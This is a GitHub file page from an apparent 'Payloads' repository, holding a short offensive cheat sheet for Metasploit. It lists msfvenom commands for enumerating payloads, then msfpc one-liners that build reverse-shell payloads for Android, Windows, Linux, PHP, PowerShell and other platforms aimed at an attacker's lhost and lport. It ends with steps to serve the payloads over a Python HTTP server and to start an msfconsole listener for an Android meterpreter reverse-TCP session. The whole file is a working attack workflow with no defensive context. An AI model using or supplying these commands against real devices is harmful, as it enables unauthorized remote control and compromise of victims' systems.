forked from efxtv/Payloads
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmsfpc.txt
38 lines (31 loc) · 877 Bytes
/
msfpc.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
List all payloads
$ msfvenom -l payloads >payload.txt
#cat payload.txt |grep android
#cat payload.txt |grep windows
#cat payload.txt |grep linux
#cat payload.txt |grep mac
#Payload information
$ msfvenom -p PAYLOAD-NAME --list-options
$ msfvenom --list platforms
$ msfvenom --list formats
$ msfvenom --list archs
$ msfvenom --list encrypt
#Generate rc file with Metasploit palyad
#MSFPC
$ msfpc apk lhost lport
$ msfpc asp lhost lport
$ msfpc aspx lhost lport
$ msfpc bash lhost lport
$ msfpc java lhost lport
$ msfpc linux lhost lport
$ msfpc osx lhost lport
$ msfpc perl lhost lport
$ msfpc php lhost lport
$ msfpc powershell lhost lport
$ msfpc python lhost lport
$ msfpc tomcat lhost lport
$ msfpc windows lhost lport
#Share payload
python2 -m SimpleHTTPServer 8080
#Start the session
msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-1234.apk.rc'